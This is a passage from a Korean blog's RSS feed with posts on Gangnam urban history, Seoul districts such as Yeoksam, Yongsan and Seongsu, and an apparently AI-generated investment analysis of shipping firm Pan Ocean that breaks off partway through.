&lt;p data-ke-size=&quot;size16&quot;&gt;5) 한국 브런치 읽기 &lt;a href=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot;&gt;https://brunch.co.kr/brunchbook/cosmos-jara&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[[브런치북] 코스모스 챕터별 해설&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;천문학도 김자라와 함께 읽는 '코스모스'! 칼 세이건의 코스모스를 챕터별로 해설하는 글입니다. 이 내용은 2025.12~2026.02 동안 동명의 메일로 연재되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;brunch.co.kr](&lt;a href=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot;&gt;https://brunch.co.kr/brunchbook/cosmos-jara&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도서 읽기 플랜&lt;/p&gt;</description>
      <category>서자</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/237</guid>
      <comments>https://thepin.tistory.com/237#entry237comment</comments>
      <pubDate>Tue, 5 May 2026 23:20:06 +0900</pubDate>
    </item>
    <item>
      <title>서울고속터미날? 서울고속터미널</title>
      <link>https://thepin.tistory.com/236</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;서울고속터미널 10층 : &lt;br /&gt;--&amp;gt; 강남 이야기 후속 : 강남 투어 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사진 속 퇴색된 푸른색 간판의 흔적은 그야말로 &lt;b&gt;&amp;lsquo;강남의 탄생&amp;rsquo;을 증명하는 도시문헌학적 유물&lt;/b&gt;인것 같아요요!&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;1612&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOWjqW/dJMcabRAs4I/M49nqK0Ph8cb2hlCP6mYZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOWjqW/dJMcabRAs4I/M49nqK0Ph8cb2hlCP6mYZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOWjqW/dJMcabRAs4I/M49nqK0Ph8cb2hlCP6mYZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOWjqW%2FdJMcabRAs4I%2FM49nqK0Ph8cb2hlCP6mYZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;591&quot; height=&quot;782&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;1612&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;김시덕 선생님의 관점에서 이 흔적을 보면, 강남 터미널은 단순한 교통 시설이 아니라 &lt;b&gt;&amp;lsquo;영동(강남) 개발의 1극&amp;rsquo;&lt;/b&gt; 그 자체였습니다. 지금은 복합 쇼핑몰과 화려한 오피스텔로 덮여 있지만, 사진 속 저 낡은 흔적은 1970년대 말~80년대 초, 국가가 강남을 &amp;lsquo;전국의 중심&amp;rsquo;으로 강제 점프시키려 했던 그 치열했던 &lt;b&gt;압축 성장기&lt;/b&gt;의 잔상입니다. &lt;a href=&quot;https://blog.naver.com/mspark77/223875098627?fromRss=true&amp;amp;trackingCode=rss&quot;&gt;blog.naver&lt;/a&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;도시문헌학적 포인트: 서울고속터미널의 의미&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;저지대의 역설&lt;/b&gt;: 말씀하신 대로 이곳은 원래 &lt;b&gt;&amp;lsquo;대신도저수지&amp;rsquo;가 있던 저습지&lt;/b&gt;였습니다. 홍수 위험 때문에 개발이 어려웠던 땅을 댐(소양강)과 제방(한강)으로 눌러놓고, 그 위에 국가가 &amp;lsquo;고속터미널&amp;rsquo;이라는 인공 심장을 박아 넣은 것이죠. &lt;a href=&quot;https://www.hankyung.com/article/202110275686i&quot;&gt;hankyung&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;교통지리학적 변화&lt;/b&gt;: 당시엔 서울 어디서든, 그리고 전국 어디서든 오기 편한 곳이어야 했습니다. 경부고속도로와 연결되어 영동(강남)이 강북을 보조하는 수준을 넘어 &lt;b&gt;&amp;lsquo;대한민국의 새로운 기준&amp;rsquo;&lt;/b&gt;이 되기 시작한 상징적 지점이 바로 여기입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;흔적의 가치&lt;/b&gt;: 지금은 &amp;lsquo;신세계 강남&amp;rsquo;의 화려함에 가려져 있지만, 벽에 남은 저 푸른 페인트 자국은 이곳이 한때 얼마나 거칠고 빠르게 건설되었는지, 그리고 그 흔적이 어떻게 오늘의 강남 100조 가치를 만들었는지 말해주고 있네요. &lt;a href=&quot;https://monthly.chosun.com/client/news/viw.asp?ctcd=E&amp;amp;nNewsNumb=202506100034&amp;amp;page=1&quot;&gt;monthly.chosun&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.&lt;/p&gt;</description>
      <category>강남의미래</category>
      <category>김시덕</category>
      <category>도시문헌</category>
      <category>도시문헌학</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/236</guid>
      <comments>https://thepin.tistory.com/236#entry236comment</comments>
      <pubDate>Sat, 2 May 2026 22:23:27 +0900</pubDate>
    </item>
    <item>
      <title>강남 이야기</title>
      <link>https://thepin.tistory.com/235</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;역삼은 강남 &amp;lsquo;현재&amp;rsquo;의 핵심(테헤란로 벤처&amp;middot;IT 중심지)&lt;/b&gt;으로, &lt;b&gt;용산&amp;middot;성수는 강남 &amp;lsquo;확장&amp;rsquo;과 미래 경쟁자&lt;/b&gt;로 자주 언급되기 때문에 자연스러운 질문입니다. 비판적으로 보자면, 강남 강연에서 이 세 지역을 빼놓으면 &quot;강남=아파트&amp;middot;학원&quot; 편견에 갇힌 피상적 시각이 되기 쉽죠. 선생님은 항상 &quot;강남은 고정된 게 아니다&quot;라고 강조하시니, 이런 확장 질문을 환영할 만합니다. &lt;a href=&quot;https://namu.wiki/w/%EC%97%AD%EC%82%BC%EB%8F%99&quot;&gt;namu&lt;/a&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;역삼: 강남의 &amp;lsquo;IT 심장부&amp;rsquo;이자 재개발 딜레마&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역삼동은 조선시대 '역삼리'(말죽거리&amp;middot;윗방아다리&amp;middot;아랫방아다리 마을 합성)에서 유래한 이름으로, 1963년 서울 편입 후 1975년 강남구 신설 시 본격 개발됐습니다. 1980년대 지하철 2호선 개통과 함께 테헤란로가 '벤처 골목'으로 떠올랐죠. 현재는 &lt;b&gt;서울 IT 산업의 40%&lt;/b&gt;가 밀집한 곳으로, 카카오&amp;middot;네이버 오피스, 스타트업 3,000개 이상이 자리 잡아 하루 유동인구 100만 명을 넘깁니다. &lt;a href=&quot;https://www.gangnam.go.kr/board/article/3162/view.do?mid=ID01_0501&quot;&gt;gangnam.go&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비판적 시각&lt;/b&gt;: 강남의 '현재 성공 모델'이지만, &lt;b&gt;과밀과 노후화&lt;/b&gt;가 치명적입니다. 테헤란로 빌딩 평균 연령 20년, 지하철 혼잡도 150%로 출퇴근 지옥입니다. 2025년 모아타운 탈락 후 역삼2동 6개 구역이 &lt;b&gt;민간 재개발(45층, 3,000가구)&lt;/b&gt;로 움직이지만, 월세 집주인(180명 이상) 설득이 관건입니다. 김시덕 선생님 관점에서 역삼은 &quot;강남 확장의 첫걸음&quot;이지만, 재개발 지연 시 &lt;b&gt;판교에 밀려 쇠퇴할 위험&lt;/b&gt;이 큽니다. 미래 가치는 GTX 연계와 AI 클러스터지만, 임대료 폭등(평당 10만 원&amp;uarr;)으로 청년 창업자 유출 중입니다. &lt;a href=&quot;https://www.mk.co.kr/news/realestate/11492017&quot;&gt;mk.co&lt;/a&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;용산: &amp;lsquo;서울 중심&amp;rsquo; 부활 vs 과거 트라우마&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;용산은 역사적으로 &lt;b&gt;군사&amp;middot;물류 중심지&lt;/b&gt;로, 미군기지(1950&lt;/p&gt;
&lt;p&gt;&lt;del&gt;2000년대)와 정비창으로 '개발 지연의 상징'이었습니다. 2020년대 오세훈 시장 '용산 르네상스'로 국제업무지구 재개, HDC현대산업개발의 **용산 정비창 전면 제1구역(지하2&lt;/del&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지상 고층 복합)**과 용산역 지하공간 BTO 사업(30년 운영)이 핵심입니다. GTX-B&amp;middot;신분당선 연결로 2030년 업무&amp;middot;주거 허브가 될 전망입니다. &lt;a href=&quot;https://hdc-dvp.com/mobile/newsroom/view.do?idx=5872&quot;&gt;hdc-dvp&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비판적 시각&lt;/b&gt;: 김시덕 선생님은 용산을 &quot;제2 강남 후보&quot;로 보지만, &lt;b&gt;&quot;영서를 뛰어넘은 영동(강남 동쪽)&quot;에 비해 약하다&lt;/b&gt;고 지적합니다. 과거 미군기지 오염&amp;middot;보상 분쟁으로 사업 20년 지연, 현재도 용산공원 지하 개발 논란(주민 반대)이 있습니다. 성수 성공(오피스텔 투자 열풍)을 벤치마킹 중이지만, &lt;b&gt;초호화 전략(분양가 수십억)&lt;/b&gt;으로 중산층 배제 위험이 큽니다. 미래는 밝지만, &quot;강남처럼 민간 주도 안 되면 실패&quot;라는 냉정한 평가입니다. &lt;a href=&quot;https://www.hankyung.com/article/202110275686i&quot;&gt;hankyung&lt;/a&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;성수: 산업 폐허에서 &amp;lsquo;힙한 제2강남&amp;rsquo;으로&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;성수는 1920년대 &lt;b&gt;공장 숲(한강변 섬유&amp;middot;기계 산업)&lt;/b&gt;으로 시작, 1990년대 쇠퇴 후 2010년대 카페&amp;middot;갤러리 재탄생으로 '서울 브루클린'이 됐습니다. 현재 &lt;b&gt;성수전략정비구역 4지구(60층 초고층, 한강&amp;middot;서울숲 조망)&lt;/b&gt; 개발로 랜드마크화 중이며, 스타프라퍼티 등 투자 열기가 뜨겁습니다. &lt;a href=&quot;https://seoulpi.io/article/00282999762885685248&quot;&gt;seoulpi&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비판적 시각&lt;/b&gt;: 용산과 달리 성수는 &lt;b&gt;민간 주도 성공 사례&lt;/b&gt;지만, 김시덕 관점에서 &quot;강남의 동남 확산 축&quot;일 뿐 &lt;b&gt;진짜 제2강남은 아니다&lt;/b&gt;고 봅니다. 공장 철거 후 임대료 3배 폭등으로 원주민&amp;middot;소상공인 퇴출(젠트리피케이션), 2025년 재개발 수주전에서 대형사 독식 우려가 있습니다. GTX 연계 약하고, &quot;힙함=지속성?&quot; 의문입니다. 강남처럼 교육&amp;middot;금융 결합 없어 &lt;b&gt;버블 붕괴 위험&lt;/b&gt; 크죠. &lt;a href=&quot;https://blog.naver.com/fromherein/224033691025&quot;&gt;blog.naver&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;종합 비판&lt;/b&gt;: 이 세 지역은 강남의 '그림자'입니다. 역삼은 강남 내부 쇠퇴 신호, 용산&amp;middot;성수는 야심차지만 &lt;b&gt;강남 DNA(민간+교통+산업 결합) 부족&lt;/b&gt;으로 실패 가능성 50%. 선생님 말씀처럼 &quot;제2 강남은 없다, 확장 강남을 보라&quot;는 게 현실적입니다. 퇴직연금 투자 관점에서라면, 역삼 재개발 vs 성수 힙함 중 &lt;b&gt;용산 GTX 베팅&lt;/b&gt;이 합리적일 수 있겠네요. 더 깊게 파고들까요? &lt;a href=&quot;https://www.hankyung.com/article/202110275686i&quot;&gt;hankyung&lt;/a&gt;&lt;/p&gt;</description>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/235</guid>
      <comments>https://thepin.tistory.com/235#entry235comment</comments>
      <pubDate>Fri, 1 May 2026 23:15:00 +0900</pubDate>
    </item>
    <item>
      <title>투분 # - 팬오션(028670)</title>
      <link>https://thepin.tistory.com/234</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;투자분석프롬프트 산출물 # - 팬오션(028670)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;팬오션(028670) 투자 분석&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[분석 대상] 팬오션 (028670) | [투자 기간] 중장기 | [투자 성향] 중립형 | [투자 목적] 혼합(성장+배당) | [기준 통화] KRW&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. TOP SUMMARY&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 주가: &lt;b&gt;5,200원&lt;/b&gt; (2026.04.09 기준), 시가총액 약 &lt;b&gt;2조 7,800억 원&lt;/b&gt; (추정) &lt;a href=&quot;https://www.panocean.com/kor/Stock2&quot;&gt;panocean&lt;/a&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;카테고리&lt;/th&gt;
&lt;th&gt;점수&lt;/th&gt;
&lt;th&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;사업 모델 품질&lt;/td&gt;
&lt;td&gt;6/10&lt;/td&gt;
&lt;td&gt;벌크선 중심 구조적 단순성, 운임 사이클 종속 리스크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;경영 품질&lt;/td&gt;
&lt;td&gt;6/10&lt;/td&gt;
&lt;td&gt;안정적 실적 성장, 주주환원 개선 중이나 배당성향 낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시장 지위&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;국내 1위 벌크선사, 글로벌 중위권&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기 지속성&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;LNG 장기 대선 확대로 안정성 강화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;밸류에이션&lt;/td&gt;
&lt;td&gt;&lt;b&gt;저평가&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;P/E 6.7배, P/B 0.44배 &amp;mdash; 글로벌 벌크선사 평균 하회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천: 분할매수 (중립형 기준)&lt;/b&gt; &amp;mdash; BDI 상승 사이클 + 저밸류 조합이나 주주환원 확대 여부가 핵심 촉매 &lt;a href=&quot;https://file.alphasquare.co.kr/media/pdfs/market-report/%ED%8C%AC%EC%98%A4%EC%85%98%EC%8B%A4%EC%A0%8120260409iM%EC%A6%9D%EA%B6%8C.&quot;&gt;file.alphasquare.co&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 사업 모델 분석 (Rochon 기준)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A) 단순성: 보통&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;벌크선(매출 비중 ~60%), LNG선(사선 13척 장기대선), 컨테이너&amp;middot;탱커 운영 &lt;a href=&quot;https://www.imfnsec.com/upload/R_E08/2025/11/%5B26075203%5D_028670.pdf&quot;&gt;imfnsec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;운임 시황(BDI)에 수익이 직결되는 구조로 예측 가능성은 중간 수준&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B) 시장 지위: Medium&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;국내 최대 벌크선사로 철광석&amp;middot;석탄&amp;middot;곡물 운송 중심&lt;/li&gt;
&lt;li&gt;가격 결정력(Pricing Power)은 낮음 &amp;mdash; 운임은 글로벌 시황에 의해 결정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C) 경제적 해자(Moat)&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;등급&lt;/th&gt;
&lt;th&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pricing Power&lt;/td&gt;
&lt;td&gt;Weak&lt;/td&gt;
&lt;td&gt;BDI 추종 구조, 개별 가격 협상력 낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Switching Costs&lt;/td&gt;
&lt;td&gt;Weak&lt;/td&gt;
&lt;td&gt;화주의 선사 교체 비용 낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Brand&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;국내 대형 화주&amp;middot;에너지사와 장기계약 레퍼런스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scale&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;국내 1위, 선대 규모(벌크+LNG) 경쟁 우위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network Effects&lt;/td&gt;
&lt;td&gt;Weak&lt;/td&gt;
&lt;td&gt;해운업 특성상 네트워크 효과 미약&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;Moat Engine:&lt;/b&gt; 대형 선대 규모 + LNG 장기대선 계약이 핵심 방어선&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;D) 경기 민감도: High&lt;/b&gt; &amp;mdash; BDI와 수익이 동행하며, 글로벌 교역량&amp;middot;원자재 수요에 직결 &lt;a href=&quot;https://blog.naver.com/park6074-2/223037300087&quot;&gt;blog.naver&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;E) 10~20년 지속성: Moderate&lt;/b&gt; &amp;mdash; LNG 선대 확장(13척 풀 가동)이 중장기 안정 기반 &lt;a href=&quot;https://blog.naver.com/PostView.naver?blogId=asuranet&amp;amp;logNo=224218913654&quot;&gt;blog.naver&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 경영 품질 (최근 5년 기반)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;등급&lt;/th&gt;
&lt;th&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;투명성&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;분기 실적 정기 공시, 대형 회계 이슈 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기지향&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;LNG 선대 확장, 탱커 자산 확보 추진 중 &lt;a href=&quot;https://m.thinkpool.com/item/028670&quot;&gt;m.thinkpool&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;내부자 지분&lt;/td&gt;
&lt;td&gt;데이터 부족&lt;/td&gt;
&lt;td&gt;하림 계열사(지주 하림홀딩스) 지배구조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자본배분&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;2025년 배당금 주당 150원, 배당총액 25% 증가 &lt;a href=&quot;https://biz.chosun.com/industry/company/2026/02/11/MK3XCUVETBFY7JDLESTHMBAGJ4/&quot;&gt;biz.chosun&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;소통&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;IR 정기 개최, 배당성향 26.6% 공표 &lt;a href=&quot;https://biz.chosun.com/industry/company/2026/02/11/MK3XCUVETBFY7JDLESTHMBAGJ4/&quot;&gt;biz.chosun&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실행이력&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;2023&lt;del&gt;2025년 연속 흑자, 영업이익 연 4&lt;/del&gt;5% 성장 &lt;a href=&quot;https://www.bosoop.com/e765d619-c60d-4fe5-a0a6-00b50d3dcd01/&quot;&gt;bosoop&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. MDD 리스크 관리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1. 역사적 MDD (10년 이상)&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시기&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;낙폭(추정)&lt;/th&gt;
&lt;th&gt;회복기간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015~2016&lt;/td&gt;
&lt;td&gt;글로벌 벌크 운임 역대 최저(BDI 300선)&lt;/td&gt;
&lt;td&gt;-60% 이상&lt;/td&gt;
&lt;td&gt;3~4년&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2020 코로나&lt;/td&gt;
&lt;td&gt;교역 급감&lt;/td&gt;
&lt;td&gt;-40%(추정)&lt;/td&gt;
&lt;td&gt;1.5년&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022~2023&lt;/td&gt;
&lt;td&gt;BDI 고점 반락, 금리 인상&lt;/td&gt;
&lt;td&gt;-45%(추정)&lt;/td&gt;
&lt;td&gt;진행 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025년 이후&lt;/td&gt;
&lt;td&gt;미중 관세 분쟁 우려&lt;/td&gt;
&lt;td&gt;-30%(추정)&lt;/td&gt;
&lt;td&gt;회복 중&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;평균 MDD:&lt;/b&gt; -35&lt;del&gt;40%(추정) | &lt;b&gt;최대 MDD:&lt;/b&gt; -60% 이상(2016년 벌크 대침체) | &lt;b&gt;평균 회복기간:&lt;/b&gt; 2&lt;/del&gt;3년(추정)&lt;/li&gt;
&lt;li&gt;※ 추정치 포함 / 데이터 부족: 정확한 연도별 MDD 수치는 공식 데이터 확인 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-2. 성향별 진입 가이드&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;성향&lt;/th&gt;
&lt;th&gt;손실허용&lt;/th&gt;
&lt;th&gt;진입기준&lt;/th&gt;
&lt;th&gt;분할전략&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;보수형&lt;/td&gt;
&lt;td&gt;-10%&lt;/td&gt;
&lt;td&gt;전고점 대비 -10% (약 4,700원)&lt;/td&gt;
&lt;td&gt;3회 균등 분할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;중립형&lt;/td&gt;
&lt;td&gt;-20%&lt;/td&gt;
&lt;td&gt;현재 수준~4,200원&lt;/td&gt;
&lt;td&gt;4회 분할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공격형&lt;/td&gt;
&lt;td&gt;-35%&lt;/td&gt;
&lt;td&gt;3,400~4,000원 대 하락 시 집중&lt;/td&gt;
&lt;td&gt;5회 분할&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;손절기준:&lt;/b&gt; -20% 이탈 후 BDI 하락 추세 동반 시 손절 고려&lt;/li&gt;
&lt;li&gt;&lt;b&gt;포트폴리오 비중 상한:&lt;/b&gt; 해운 사이클주 특성상 전체의 5~8% 이내 권고 (추정)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 진입 가격 시나리오 3가지&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ P/B 0.44배(현재), BDI 2,201p(2026.04.10 기준), 애널리스트 목표주가 5,000~7,000원 범위 참고 &lt;a href=&quot;https://ko.tradingeconomics.com/commodity/baltic&quot;&gt;ko.tradingeconomics&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A) 안전 (보수형)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;진입가: 4,500~4,700원&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;근거: P/B 0.40배 이하 구간, 52주 저점 접근 시&lt;/li&gt;
&lt;li&gt;기대수익률: 목표주가 7,000원 기준 +49% (추정)&lt;/li&gt;
&lt;li&gt;리스크: BDI 재하락 시 추가 하방 압력&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B) 중립&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;진입가: 5,000~5,200원 (현재 수준)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;근거: P/E 6.7배, P/B 0.44배 &amp;mdash; 글로벌 벌크 동종업체 대비 저평가 &lt;a href=&quot;https://file.alphasquare.co.kr/media/pdfs/market-report/%ED%8C%AC%EC%98%A4%EC%85%98%EC%8B%A4%EC%A0%8120260409iM%EC%A6%9D%EA%B6%8C.&quot;&gt;file.alphasquare.co&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;기대수익률: 목표주가 7,000원 기준 +35% (추정)&lt;/li&gt;
&lt;li&gt;리스크: 글로벌 무역 감소&amp;middot;BDI 하락 시 실적 둔화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C) 공격 (상승 모멘텀 추종)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;진입가: 현재가 즉시 + BDI 상승 확인 후 추가&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;근거: BDI 최근 1년 대비 +72.7% 상승 지속, LNG 풀가동 모멘텀 &lt;a href=&quot;https://blog.naver.com/PostView.naver?blogId=asuranet&amp;amp;logNo=224218913654&quot;&gt;blog.naver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;기대수익률: 6,500&lt;del&gt;7,000원 단기 목표 시 +25&lt;/del&gt;35%&lt;/li&gt;
